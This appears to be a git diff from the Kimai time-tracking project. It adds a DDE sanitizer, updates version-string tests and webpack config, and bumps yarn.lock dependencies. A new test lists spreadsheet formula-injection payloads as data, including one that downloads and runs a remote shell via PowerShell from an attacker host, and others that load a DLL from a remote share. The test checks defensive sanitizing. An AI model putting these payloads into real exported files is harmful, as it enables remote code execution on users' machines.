+        $sanitize = false;
+
+        if (\in_array($text[0], self::DDE_PAYLOADS)) {
+            $sanitize = true;
+        } elseif (stripos($text, 'DDE') !== false) {
+            $sanitize = true;
+        }
+
+        if ($sanitize) {
+            // trying to prevent fucking Microsoft "feature" DDE
+            $text = "' " . $text;
+        }
+
+        return $text;
+    }
 }
diff --git a/templates/project/index.html.twig b/templates/project/index.html.twig
index ce739590a4..f7ff3fec2e 100644
--- a/templates/project/index.html.twig
+++ b/templates/project/index.html.twig
@@ -65,7 +65,7 @@
                     {% endif %}
                 </td>
                 <td class="{{ tables.data_table_column_class(tableName, columns, 'timeBudget') }}">
-                    {% if entry.hasBudget() %}
+                    {% if entry.hasTimeBudget() %}
                         {{ entry.timeBudget|duration }}
                     {% else %}
                         &ndash;
diff --git a/tests/API/StatusControllerTest.php b/tests/API/StatusControllerTest.php
index 70d9d77eeb..d04f545155 100644
--- a/tests/API/StatusControllerTest.php
+++ b/tests/API/StatusControllerTest.php
@@ -58,7 +58,7 @@ public function testVersion()
         $this->assertEquals(Constants::VERSION . '-' . Constants::STATUS, $result['semver']);
         $this->assertEquals(Constants::NAME, $result['name']);
         $this->assertEquals(
-            'Kimai - ' . Constants::VERSION . ' ' . Constants::STATUS . ' (' . Constants::NAME . ') by Kevin Papst and contributors.',
+            'Kimai ' . Constants::VERSION . ' by Kevin Papst and contributors.',
             $result['copyright']
         );
     }
diff --git a/tests/Command/UpdateCommandTest.php b/tests/Command/UpdateCommandTest.php
index 21e5603d86..5d64636f48 100644
--- a/tests/Command/UpdateCommandTest.php
+++ b/tests/Command/UpdateCommandTest.php
@@ -58,7 +58,7 @@ public function testFullRun()
         self::assertStringContainsString('No migrations to execute.', $result);
 
         self::assertStringContainsString(
-            sprintf('[OK] Congratulations! Successfully updated Kimai to version %s (%s)', Constants::VERSION, Constants::STATUS),
+            sprintf('[OK] Congratulations! Successfully updated Kimai to version %s', Constants::VERSION),
             $result
         );
 
diff --git a/tests/Command/VersionCommandTest.php b/tests/Command/VersionCommandTest.php
index 4792574fa3..bb69f39382 100644
--- a/tests/Command/VersionCommandTest.php
+++ b/tests/Command/VersionCommandTest.php
@@ -47,10 +47,11 @@ public function testVersion(array $options, $result)
     public function getTestData()
     {
         return [
-            [[], 'Kimai - ' . Constants::VERSION . ' ' . Constants::STATUS . ' (' . Constants::NAME . ') by Kevin Papst and contributors.'],
+            [[], 'Kimai ' . Constants::VERSION . ' by Kevin Papst and contributors.'],
             [['--name' => true], Constants::NAME],
-            [['--candidate' => true], Constants::STATUS],
             [['--short' => true], Constants::VERSION],
+            // @deprecated since 1.14.1
+            [['--candidate' => true], Constants::STATUS],
             [['--semver' => true], Constants::VERSION . '-' . Constants::STATUS],
         ];
     }
diff --git a/tests/ConstantsTest.php b/tests/ConstantsTest.php
index f94127d9b7..433defdcc5 100644
--- a/tests/ConstantsTest.php
+++ b/tests/ConstantsTest.php
@@ -27,8 +27,6 @@ public function testBuild()
 
         $expectedId = $major * 10000 + $minor * 100 + $patch;
 
-        self::assertEquals('1.14', Constants::VERSION, 'Invalid release number');
-        self::assertTrue(\in_array(Constants::STATUS, ['dev', 'stable']), 'Invalid status');
         self::assertEquals($expectedId, Constants::VERSION_ID, 'Invalid version ID');
     }
 }
diff --git a/tests/Utils/StringHelperTest.php b/tests/Utils/StringHelperTest.php
index 7409e3d67c..589bc8225f 100644
--- a/tests/Utils/StringHelperTest.php
+++ b/tests/Utils/StringHelperTest.php
@@ -28,4 +28,30 @@ public function testEnsureMaxLength()
         self::assertEquals(10, mb_strlen(StringHelper::ensureMaxLength('까깨꺄꺠꺼께껴꼐꼬꽈sssss', 10)));
         self::assertEquals(10, mb_strlen(StringHelper::ensureMaxLength('까깨꺄꺠꺼께껴꼐꼬꽈꼬꽈', 10)));
     }
+
+    public function getDdeAttackStrings()
+    {
+        yield ['DDE ("cmd";"/C calc";"!A0")A0'];
+        yield ["@SUM(1+9)*cmd|' /C calc'!A0"];
+        yield ["-10+20+cmd|' /C calc'!A0"];
+        yield ["+10+20+cmd|' /C calc'!A0"];
+        yield ["=10+20+cmd|' /C calc'!A0"];
+        yield ["=cmd|' /C notepad'!'A1'"];
+        yield ["=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0"];
+        yield ["=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1"];
+        yield ["	=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1"];
+        yield ["\t=10+20+cmd|' /C calc'!A0"];
+        yield ["\r=10+20+cmd|' /C calc'!A0"];
+        yield ["\n=10+20+cmd|' /C calc'!A0"];
+        yield ["\r\n=10+20+cmd|' /C calc'!A0"];
+        yield [PHP_EOL . "=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1"];
+    }
+
+    /**
+     * @dataProvider getDdeAttackStrings
+     */
+    public function testSanitizeDde(string $input)
+    {
+        self::assertEquals("' " . $input, StringHelper::sanitizeDDE($input));
+    }
 }
diff --git a/webpack.config.js b/webpack.config.js
index 6629b9259b..23e53c1897 100644
--- a/webpack.config.js
+++ b/webpack.config.js
@@ -17,14 +17,40 @@ Encore
     .copyFiles({ from: './assets/images', to: 'images/[path][name].[ext]' })
 
     .splitEntryChunks()
+    .configureSplitChunks(function(splitChunks) {
+        splitChunks.chunks = 'async';
+    })
+
+    // bug: empty hashes in entrypoints.json
+    //.enableIntegrityHashes(Encore.isProduction())
+
     .enableSingleRuntimeChunk()
-    .enableIntegrityHashes()
     .enableVersioning(Encore.isProduction())
-
     .enableSourceMaps(!Encore.isProduction())
     .enableBuildNotifications()
 
-    .enableSassLoader()
+    .enableSassLoader(function(sassOptions) {}, {
+        resolveUrlLoader: false
+    })
+
+    // to rewrite the font url() in CSS to be relative.
+    // https://github.com/symfony/webpack-encore/issues/915#issuecomment-827556896
+    .configureFontRule(
+        { type: 'javascript/auto' },
+        (rule) => {
+            rule.loader = 'file-loader';
+            rule.options = { outputPath: 'fonts', name: '[name].[hash:8].[ext]', publicPath: './fonts/' };
+        }
+    )
+
+    .configureImageRule(
+        { type: 'javascript/auto' },
+        (rule) => {
+            rule.loader = 'file-loader';
+            rule.options = { outputPath: 'images', name: '[name].[hash:8].[ext]', publicPath: './images/' };
+        }
+    )
+
     .autoProvidejQuery()
 
     // prevent that unused moment locales will be included
@@ -35,27 +61,11 @@ Encore
         corejs: 3,
     })
 
-    .configureOptimizeCssPlugin((options) => {
-        options.cssProcessorPluginOptions = {
+    .configureCssMinimizerPlugin((options) => {
+        options.minimizerOptions = {
             preset: ['default', { discardComments: { removeAll: true } }],
         }
     })
-
-    .configureTerserPlugin((options) => {
-        options.cache = true;
-        options.terserOptions = {
-            output: {
-                comments: false
-            }
-        }
-    })
 ;
 
-var config = Encore.getWebpackConfig();
-
-// this is a hack based on https://github.com/symfony/webpack-encore/issues/88
-// to rewrite the font url() in CSS to be relative.
-// if you encounter any problems ... please let me know!
-config.module.rules[3].options.publicPath = './';
-
-module.exports = config;
+module.exports = Encore.getWebpackConfig();
diff --git a/yarn.lock b/yarn.lock
index f93c46ec97..8082649ea5 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -9,25 +9,25 @@
   dependencies:
     "@babel/highlight" "^7.12.13"
 
-"@babel/compat-data@^7.13.11", "@babel/compat-data@^7.13.12", "@babel/compat-data@^7.13.15", "@babel/compat-data@^7.13.8":
+"@babel/compat-data@^7.13.11", "@babel/compat-data@^7.13.15", "@babel/compat-data@^7.13.8":
   version "7.13.15"
   resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.13.15.tgz#7e8eea42d0b64fda2b375b22d06c605222e848f4"
   integrity sha512-ltnibHKR1VnrU4ymHyQ/CXtNXI6yZC0oJThyW78Hft8XndANwi+9H+UIklBDraIjFEJzw8wmcM427oDd9KS5wA==
 
-"@babel/core@^7.4.0":
-  version "7.13.15"
-  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.13.15.tgz#a6d40917df027487b54312202a06812c4f7792d0"
-  integrity sha512-6GXmNYeNjS2Uz+uls5jalOemgIhnTMeaXo+yBUA72kC2uX/8VW6XyhVIo2L8/q0goKQA3EVKx0KOQpVKSeWadQ==
+"@babel/core@^7.7.0":
+  version "7.13.16"
+  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.13.16.tgz#7756ab24396cc9675f1c3fcd5b79fcce192ea96a"
+  integrity sha512-sXHpixBiWWFti0AV2Zq7avpTasr6sIAu7Y396c608541qAU2ui4a193m0KSQmfPSKFZLnQ3cvlKDOm3XkuXm3Q==
   dependencies:
     "@babel/code-frame" "^7.12.13"
-    "@babel/generator" "^7.13.9"
-    "@babel/helper-compilation-targets" "^7.13.13"
+    "@babel/generator" "^7.13.16"
+    "@babel/helper-compilation-targets" "^7.13.16"
     "@babel/helper-module-transforms" "^7.13.14"
-    "@babel/helpers" "^7.13.10"
-    "@babel/parser" "^7.13.15"
+    "@babel/helpers" "^7.13.16"
+    "@babel/parser" "^7.13.16"
     "@babel/template" "^7.12.13"
     "@babel/traverse" "^7.13.15"
-    "@babel/types" "^7.13.14"
+    "@babel/types" "^7.13.16"
     convert-source-map "^1.7.0"
     debug "^4.1.0"
     gensync "^1.0.0-beta.2"
@@ -35,12 +35,12 @@
     semver "^6.3.0"
     source-map "^0.5.0"
 
-"@babel/generator@^7.13.9":
-  version "7.13.9"
-  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.13.9.tgz#3a7aa96f9efb8e2be42d38d80e2ceb4c64d8de39"
-  integrity sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==
+"@babel/generator@^7.13.16":
+  version "7.13.16"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.13.16.tgz#0befc287031a201d84cdfc173b46b320ae472d14"
+  integrity sha512-grBBR75UnKOcUWMp8WoDxNsWCFl//XCK6HWTrBQKTr5SV9f5g0pNOjdyzi/DTBv12S9GnYPInIXQBTky7OXEMg==
   dependencies:
-    "@babel/types" "^7.13.0"
+    "@babel/types" "^7.13.16"
     jsesc "^2.5.1"
     source-map "^0.5.0"
 
@@ -59,12 +59,12 @@
     "@babel/helper-explode-assignable-expression" "^7.12.13"
     "@babel/types" "^7.12.13"
 
-"@babel/helper-compilation-targets@^7.13.0", "@babel/helper-compilation-targets@^7.13.13", "@babel/helper-compilation-targets@^7.13.8":
-  version "7.13.13"
-  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.13.13.tgz#2b2972a0926474853f41e4adbc69338f520600e5"
-  integrity sha512-q1kcdHNZehBwD9jYPh3WyXcsFERi39X4I59I3NadciWtNDyZ6x+GboOxncFK0kXlKIv6BJm5acncehXWUjWQMQ==
+"@babel/helper-compilation-targets@^7.13.0", "@babel/helper-compilation-targets@^7.13.13", "@babel/helper-compilation-targets@^7.13.16", "@babel/helper-compilation-targets@^7.13.8":
+  version "7.13.16"
+  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.13.16.tgz#6e91dccf15e3f43e5556dffe32d860109887563c"
+  integrity sha512-3gmkYIrpqsLlieFwjkGgLaSHmhnvlAYzZLlYVjlW+QwI+1zE17kGxuJGmIqDQdYp56XdmGeD+Bswx0UTyG18xA==
   dependencies:
-    "@babel/compat-data" "^7.13.12"
+    "@babel/compat-data" "^7.13.15"
     "@babel/helper-validator-option" "^7.12.17"
     browserslist "^4.14.5"
     semver "^6.3.0"
@@ -126,12 +126,12 @@
     "@babel/types" "^7.12.13"
 
 "@babel/helper-hoist-variables@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-hoist-variables/-/helper-hoist-variables-7.13.0.tgz#5d5882e855b5c5eda91e0cadc26c6e7a2c8593d8"
-  integrity sha512-0kBzvXiIKfsCA0y6cFEIJf4OdzfpRuNk4+YTeHZpGGc666SATFKTz6sRncwFnQk7/ugJ4dSrCj6iJuvW4Qwr2g==
+  version "7.13.16"
+  resolved "https://registry.yarnpkg.com/@babel/helper-hoist-variables/-/helper-hoist-variables-7.13.16.tgz#1b1651249e94b51f8f0d33439843e33e39775b30"
+  integrity sha512-1eMtTrXtrwscjcAeO4BVK+vvkxaLJSPFz1w1KLawz6HLNi9bPFGBNwwDyVfiu1Tv/vRRFYfoGaKhmAQPGPn5Wg==
   dependencies:
-    "@babel/traverse" "^7.13.0"
-    "@babel/types" "^7.13.0"
+    "@babel/traverse" "^7.13.15"
+    "@babel/types" "^7.13.16"
 
 "@babel/helper-member-expression-to-functions@^7.13.0", "@babel/helper-member-expression-to-functions@^7.13.12":
   version "7.13.12"
@@ -233,14 +233,14 @@
     "@babel/traverse" "^7.13.0"
     "@babel/types" "^7.13.0"
 
-"@babel/helpers@^7.13.10":
-  version "7.13.10"
-  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.13.10.tgz#fd8e2ba7488533cdeac45cc158e9ebca5e3c7df8"
-  integrity sha512-4VO883+MWPDUVRF3PhiLBUFHoX/bsLTGFpFK/HqvvfBZz2D57u9XzPVNFVBTc0PW/CWR9BXTOKt8NF4DInUHcQ==
+"@babel/helpers@^7.13.16":
+  version "7.13.17"
+  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.13.17.tgz#b497c7a00e9719d5b613b8982bda6ed3ee94caf6"
+  integrity sha512-Eal4Gce4kGijo1/TGJdqp3WuhllaMLSrW6XcL0ulyUAQOuxHcCafZE8KHg9857gcTehsm/v7RcOx2+jp0Ryjsg==
   dependencies:
     "@babel/template" "^7.12.13"
-    "@babel/traverse" "^7.13.0"
-    "@babel/types" "^7.13.0"
+    "@babel/traverse" "^7.13.17"
+    "@babel/types" "^7.13.17"
 
 "@babel/highlight@^7.12.13":
   version "7.13.10"
@@ -251,10 +251,10 @@
     chalk "^2.0.0"
     js-tokens "^4.0.0"
 
-"@babel/parser@^7.12.13", "@babel/parser@^7.13.15":
-  version "7.13.15"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.13.15.tgz#8e66775fb523599acb6a289e12929fa5ab0954d8"
-  integrity sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==
+"@babel/parser@^7.12.13", "@babel/parser@^7.13.16":
+  version "7.13.16"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.13.16.tgz#0f18179b0448e6939b1f3f5c4c355a3a9bcdfd37"
+  integrity sha512-6bAg36mCwuqLO0hbR+z7PHuqWiCeP7Dzg73OpQwsAB1Eb8HnGEz5xYBzCfbu+YjoaJsJs+qheDxVAuqbt3ILEw==
 
 "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@^7.13.12":
   version "7.13.12"
@@ -482,11 +482,11 @@
     "@babel/helper-plugin-utils" "^7.12.13"
 
 "@babel/plugin-transform-block-scoping@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.12.13.tgz#f36e55076d06f41dfd78557ea039c1b581642e61"
-  integrity sha512-Pxwe0iqWJX4fOOM2kEZeUuAxHMWb9nK+9oh5d11bsLoB0xMg+mkDpt0eYuDZB7ETrY9bbcVlKUGTOGWy7BHsMQ==
+  version "7.13.16"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.13.16.tgz#a9c0f10794855c63b1d629914c7dcfeddd185892"
+  integrity sha512-ad3PHUxGnfWF4Efd3qFuznEtZKoBp0spS+DgqzVzRPV7urEBvPLue3y2j80w4Jf2YLzZHj8TOv/Lmvdmh3b2xg==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
+    "@babel/helper-plugin-utils" "^7.13.0"
 
 "@babel/plugin-transform-classes@^7.13.0":
   version "7.13.0"
@@ -509,9 +509,9 @@
     "@babel/helper-plugin-utils" "^7.13.0"
 
 "@babel/plugin-transform-destructuring@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.13.0.tgz#c5dce270014d4e1ebb1d806116694c12b7028963"
-  integrity sha512-zym5em7tePoNT9s964c0/KU3JPPnuq7VhIxPRefJ4/s82cD+q1mgKfuGRDMCPL0HTyKz4dISuQlCusfgCJ86HA==
+  version "7.13.17"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.13.17.tgz#678d96576638c19d5b36b332504d3fd6e06dea27"
+  integrity sha512-UAUqiLv+uRLO+xuBKKMEpC+t7YRNVRqBsWWq1yKXbBZBje/t3IXCiSinZhjn/DC3qzBfICeYd2EFGEbHsh5RLA==
   dependencies:
     "@babel/helper-plugin-utils" "^7.13.0"
 
@@ -706,7 +706,7 @@
     "@babel/helper-create-regexp-features-plugin" "^7.12.13"
     "@babel/helper-plugin-utils" "^7.12.13"
 
-"@babel/preset-env@^7.4.0":
+"@babel/preset-env@^7.10.0":
   version "7.13.15"
   resolved "https://registry.yarnpkg.com/@babel/preset-env/-/preset-env-7.13.15.tgz#c8a6eb584f96ecba183d3d414a83553a599f478f"
   integrity sha512-D4JAPMXcxk69PKe81jRJ21/fP/uYdcTZ3hJDF5QX2HSI9bBxxYw/dumdR6dGumhjxlprHPE4XWoPaqzZUVy2MA==
@@ -793,9 +793,9 @@
     esutils "^2.0.2"
 
 "@babel/runtime@^7.8.4":
-  version "7.13.10"
-  resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.13.10.tgz#47d42a57b6095f4468da440388fdbad8bebf0d7d"
-  integrity sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==
+  version "7.13.17"
+  resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.13.17.tgz#8966d1fc9593bf848602f0662d6b4d0069e3a7ec"
+  integrity sha512-NCdgJEelPTSh+FEFylhnP1ylq848l1z9t9N0j1Lfbcw0+KXGjsTvUmkxy+voLLXB5SOKMbLLx4jxYliGrYQseA==
   dependencies:
     regenerator-runtime "^0.13.4"
 
@@ -808,66 +808,122 @@
     "@babel/parser" "^7.12.13"
     "@babel/types" "^7.12.13"
 
-"@babel/traverse@^7.13.0", "@babel/traverse@^7.13.13", "@babel/traverse@^7.13.15":
-  version "7.13.15"
-  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.13.15.tgz#c38bf7679334ddd4028e8e1f7b3aa5019f0dada7"
-  integrity sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==
+"@babel/traverse@^7.13.0", "@babel/traverse@^7.13.13", "@babel/traverse@^7.13.15", "@babel/traverse@^7.13.17":
+  version "7.13.17"
+  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.13.17.tgz#c85415e0c7d50ac053d758baec98b28b2ecfeea3"
+  integrity sha512-BMnZn0R+X6ayqm3C3To7o1j7Q020gWdqdyP50KEoVqaCO2c/Im7sYZSmVgvefp8TTMQ+9CtwuBp0Z1CZ8V3Pvg==
   dependencies:
     "@babel/code-frame" "^7.12.13"
-    "@babel/generator" "^7.13.9"
+    "@babel/generator" "^7.13.16"
     "@babel/helper-function-name" "^7.12.13"
     "@babel/helper-split-export-declaration" "^7.12.13"
-    "@babel/parser" "^7.13.15"
-    "@babel/types" "^7.13.14"
+    "@babel/parser" "^7.13.16"
+    "@babel/types" "^7.13.17"
     debug "^4.1.0"
     globals "^11.1.0"
 
-"@babel/types@^7.12.1", "@babel/types@^7.12.13", "@babel/types@^7.13.0", "@babel/types@^7.13.12", "@babel/types@^7.13.14", "@babel/types@^7.4.4":
-  version "7.13.14"
-  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.13.14.tgz#c35a4abb15c7cd45a2746d78ab328e362cbace0d"
-  integrity sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==
+"@babel/types@^7.12.1", "@babel/types@^7.12.13", "@babel/types@^7.13.0", "@babel/types@^7.13.12", "@babel/types@^7.13.14", "@babel/types@^7.13.16", "@babel/types@^7.13.17", "@babel/types@^7.4.4":
+  version "7.13.17"
+  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.13.17.tgz#48010a115c9fba7588b4437dd68c9469012b38b4"
+  integrity sha512-RawydLgxbOPDlTLJNtoIypwdmAy//uQIzlKt2+iBiJaRlVuI6QLUxVAyWGNfOzp8Yu4L4lLIacoCyTNtpb4wiA==
   dependencies:
     "@babel/helper-validator-identifier" "^7.12.11"
-    lodash "^4.17.19"
     to-fast-properties "^2.0.0"
 
-"@fortawesome/fontawesome-free@^5.15.3":
+"@discoveryjs/json-ext@^0.5.0":
+  version "0.5.2"
+  resolved "https://registry.yarnpkg.com/@discoveryjs/json-ext/-/json-ext-0.5.2.tgz#8f03a22a04de437254e8ce8cc84ba39689288752"
+  integrity sha512-HyYEUDeIj5rRQU2Hk5HTB2uHsbRQpF70nvMhVzi+VJR0X+xNEhjPui4/kBf3VeH/wqD28PT4sVOm8qqLjBrSZg==
+
+"@fortawesome/fontawesome-free@^5.15":
   version "5.15.3"
   resolved "https://registry.yarnpkg.com/@fortawesome/fontawesome-free/-/fontawesome-free-5.15.3.tgz#c36ffa64a2a239bf948541a97b6ae8d729e09a9a"
   integrity sha512-rFnSUN/QOtnOAgqFRooTA3H57JLDm0QEG/jPdk+tLQNL/eWd+Aok8g3qCI+Q1xuDPWpGW/i9JySpJVsq8Q0s9w==
 
-"@symfony/webpack-encore@^0.28":
-  version "0.28.3"
-  resolved "https://registry.yarnpkg.com/@symfony/webpack-encore/-/webpack-encore-0.28.3.tgz#45b590f7b86beb7bb6918a95df89f42f72b796d0"
-  integrity sha512-ZXnwU6uobDCRMbZhT99c42/6j9yIM9aGWgT/we6fdaEGgJJmO1dXl4heq+flL61K3wztQqW6G54N8Q6aPcz1Xw==
+"@nodelib/fs.scandir@2.1.4":
+  version "2.1.4"
+  resolved "https://registry.yarnpkg.com/@nodelib/fs.scandir/-/fs.scandir-2.1.4.tgz#d4b3549a5db5de2683e0c1071ab4f140904bbf69"
+  integrity sha512-33g3pMJk3bg5nXbL/+CY6I2eJDzZAni49PfJnL5fghPTggPvBd/pFNSgJsdAgWptuFu7qq/ERvOYFlhvsLTCKA==
+  dependencies:
+    "@nodelib/fs.stat" "2.0.4"
+    run-parallel "^1.1.9"
+
+"@nodelib/fs.stat@2.0.4", "@nodelib/fs.stat@^2.0.2":
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/@nodelib/fs.stat/-/fs.stat-2.0.4.tgz#a3f2dd61bab43b8db8fa108a121cfffe4c676655"
+  integrity sha512-IYlHJA0clt2+Vg7bccq+TzRdJvv19c2INqBSsoOLp1je7xjtr7J26+WXR72MCdvU9q1qTzIWDfhMf+DRvQJK4Q==
+
+"@nodelib/fs.walk@^1.2.3":
+  version "1.2.6"
+  resolved "https://registry.yarnpkg.com/@nodelib/fs.walk/-/fs.walk-1.2.6.tgz#cce9396b30aa5afe9e3756608f5831adcb53d063"
+  integrity sha512-8Broas6vTtW4GIXTAHDoE32hnN2M5ykgCpWGbuXHQ15vEMqr23pB76e/GZcYsZCHALv50ktd24qhEyKr6wBtow==
+  dependencies:
+    "@nodelib/fs.scandir" "2.1.4"
+    fastq "^1.6.0"
+
+"@npmcli/move-file@^1.0.1":
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/@npmcli/move-file/-/move-file-1.1.2.tgz#1a82c3e372f7cae9253eb66d72543d6b8685c674"
+  integrity sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==
+  dependencies:
+    mkdirp "^1.0.4"
+    rimraf "^3.0.2"
+
+"@symfony/webpack-encore@^1.1":
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/@symfony/webpack-encore/-/webpack-encore-1.1.2.tgz#fd5122b97e8d106b71440b0e2c397b8111f1e3ce"
+  integrity sha512-RkgMBfU3ZliPcvCI/68Rh2qCd1LHZ5HcwSUZifErTWaNigrdK+kSbOkA6JOPbO0DI6w0PiVK3GZU5hv2aC1z3A==
   dependencies:
-    "@babel/core" "^7.4.0"
+    "@babel/core" "^7.7.0"
     "@babel/plugin-syntax-dynamic-import" "^7.0.0"
-    "@babel/preset-env" "^7.4.0"
-    assets-webpack-plugin "^3.9.7"
+    "@babel/preset-env" "^7.10.0"
+    assets-webpack-plugin "^7.0.0"
     babel-loader "^8.0.0"
-    chalk "^2.4.1"
-    clean-webpack-plugin "^0.1.19"
-    css-loader "^2.1.1"
-    fast-levenshtein "^2.0.6"
-    file-loader "^1.1.10"
+    chalk "^4.0.0"
+    clean-webpack-plugin "^3.0.0"
+    css-loader "^5.0.1"
+    css-minimizer-webpack-plugin "^1.1.5"
+    fast-levenshtein "^3.0.0"
     friendly-errors-webpack-plugin "^2.0.0-beta.1"
-    loader-utils "^1.1.0"
-    mini-css-extract-plugin ">=0.4.0 <0.4.3"
-    optimize-css-assets-webpack-plugin "^5.0.1"
-    pkg-up "^1.0.0"
-    pretty-error "^2.1.1"
-    resolve-url-loader "^3.0.1"
-    semver "^5.5.0"
-    style-loader "^0.21.0"
-    terser-webpack-plugin "^1.1.0"
-    tmp "^0.0.33"
-    webpack "^4.20.0"
-    webpack-cli "^3.0.0"
-    webpack-dev-server "^3.1.14"
-    webpack-manifest-plugin "^2.0.2"
-    webpack-sources "^1.3.0"
-    yargs-parser "^12.0.0"
+    loader-utils "^2.0.0"
+    mini-css-extract-plugin "^1.0.0"
+    pkg-up "^3.1.0"
+    pretty-error "^3.0.3"
+    resolve-url-loader "^3.1.2"
+    semver "^7.3.2"
+    style-loader "^2.0.0"
+    terser-webpack-plugin "^5.1.1"
+    tmp "^0.2.1"
+    webpack "^5.12"
+    webpack-cli "^4"
+    webpack-dev-server "^4.0.0-beta.0"
+    yargs-parser "^20.2.4"
+
+"@types/anymatch@*":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@types/anymatch/-/anymatch-1.3.1.tgz#336badc1beecb9dacc38bea2cf32adf627a8421a"
+  integrity sha512-/+CRPXpBDpo2RK9C68N3b2cOvO0Cf5B9aPijHsoDQTHivnGSObdOF2BRQOYjojWTDy6nQvMjmqRXIxH55VjxxA==
+
+"@types/eslint-scope@^3.7.0":
+  version "3.7.0"
+  resolved "https://registry.yarnpkg.com/@types/eslint-scope/-/eslint-scope-3.7.0.tgz#4792816e31119ebd506902a482caec4951fabd86"
+  integrity sha512-O/ql2+rrCUe2W2rs7wMR+GqPRcgB6UiqN5RhrR5xruFlY7l9YLMn0ZkDzjoHLeiFkR8MCQZVudUuuvQ2BLC9Qw==
+  dependencies:
+    "@types/eslint" "*"
+    "@types/estree" "*"
+
+"@types/eslint@*":
+  version "7.2.10"
+  resolved "https://registry.yarnpkg.com/@types/eslint/-/eslint-7.2.10.tgz#4b7a9368d46c0f8cd5408c23288a59aa2394d917"
+  integrity sha512-kUEPnMKrqbtpCq/KTaGFFKAcz6Ethm2EjCoKIDaCmfRBWLbFuTcOJfTlorwbnboXBzahqWLgUp1BQeKHiJzPUQ==
+  dependencies:
+    "@types/estree" "*"
+    "@types/json-schema" "*"
+
+"@types/estree@*", "@types/estree@^0.0.47":
+  version "0.0.47"
+  resolved "https://registry.yarnpkg.com/@types/estree/-/estree-0.0.47.tgz#d7a51db20f0650efec24cd04994f523d93172ed4"
+  integrity sha512-c5ciR06jK8u9BstrmJyO97m+klJrrhCf9u3rLu3DEAJBirxRqSCvDQoYKmxuYwQI5SZChAWu+tq9oVlGRuzPAg==
 
 "@types/glob@^7.1.1":
   version "7.1.3"
@@ -877,7 +933,14 @@
     "@types/minimatch" "*"
     "@types/node" "*"
 
-"@types/json-schema@^7.0.5":
+"@types/http-proxy@^1.17.5":
+  version "1.17.5"
+  resolved "https://registry.yarnpkg.com/@types/http-proxy/-/http-proxy-1.17.5.tgz#c203c5e6e9dc6820d27a40eb1e511c70a220423d"
+  integrity sha512-GNkDE7bTv6Sf8JbV2GksknKOsk7OznNYHSdrtvPJXO0qJ9odZig6IZKUi5RFGi6d1bf6dgIAe4uXi3DBc7069Q==
+  dependencies:
+    "@types/node" "*"
+
+"@types/json-schema@*", "@types/json-schema@^7.0.5", "@types/json-schema@^7.0.6":
   version "7.0.7"
   resolved "https://registry.yarnpkg.com/@types/json-schema/-/json-schema-7.0.7.tgz#98a993516c859eb0d5c4c8f098317a9ea68db9ad"
   integrity sha512-cxWFQVseBm6O9Gbw1IWb8r6OS4OhSt3hPZLkFApLjM8TEXROBuQGLAH2i2gZpcXdLBIrpXuTDhH7Vbm1iXmNGA==
@@ -888,159 +951,195 @@
   integrity sha512-1z8k4wzFnNjVK/tlxvrWuK5WMt6mydWWP7+zvH5eFep4oj+UkrfiJTRtjCeBXNpwaA/FYqqtb4/QS4ianFpIRA==
 
 "@types/node@*":
-  version "14.14.41"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-14.14.41.tgz#d0b939d94c1d7bd53d04824af45f1139b8c45615"
